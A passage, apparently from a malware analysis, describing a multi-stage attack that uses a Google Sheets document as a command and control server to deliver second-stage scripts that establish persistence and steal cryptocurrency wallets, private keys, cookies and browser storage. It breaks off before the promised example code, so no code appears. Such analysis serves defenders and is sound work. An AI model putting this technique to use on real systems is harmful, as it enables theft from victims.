decoded URL leads to a Google Sheets document that serves as a command and control (C2) server for this attack. The script retrieves additional malicious code from specific cells within the sheet, which then executes on the victim's machine.
Second-Stage Scripts
Once the first-stage scripts are executed, they retrieve and execute second-stage scripts from the Google Sheets C2 server. These scripts typically perform more sophisticated actions such as establishing a persistent presence on the target system or stealing cryptocurrency wallets and private keys.
Example of Second-Stage Script
The second-stage script often includes code to interact with the victim's browser storage (e.g., localStorage), cookies, and other sensitive data related to cryptocurrency exchanges. Here is an example snippet that demonstrates how such a script might operate:
